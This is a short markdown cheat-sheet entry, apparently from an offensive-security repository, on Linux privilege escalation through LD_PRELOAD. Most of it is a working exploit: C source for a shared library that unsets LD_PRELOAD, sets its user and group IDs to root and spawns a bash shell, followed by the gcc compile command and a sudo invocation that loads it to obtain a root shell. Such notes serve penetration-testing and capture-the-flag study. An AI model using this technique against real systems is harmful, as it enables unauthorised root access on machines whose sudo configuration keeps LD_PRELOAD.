killchain-compendium/exploit/linux/ld_preload.md

22 lines
349 B
Markdown
Raw Normal View History

2021-10-23 02:03:06 +02:00
# LD_PRELOAD
* Preload libs and do interpositioning of functions.
## Example
```sh
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
* `gcc -fPIC -shared -o lib.so lib.c -nostartfiles`
* `sudo LD_PRELOAD=lib.so apache2`
* `$ id`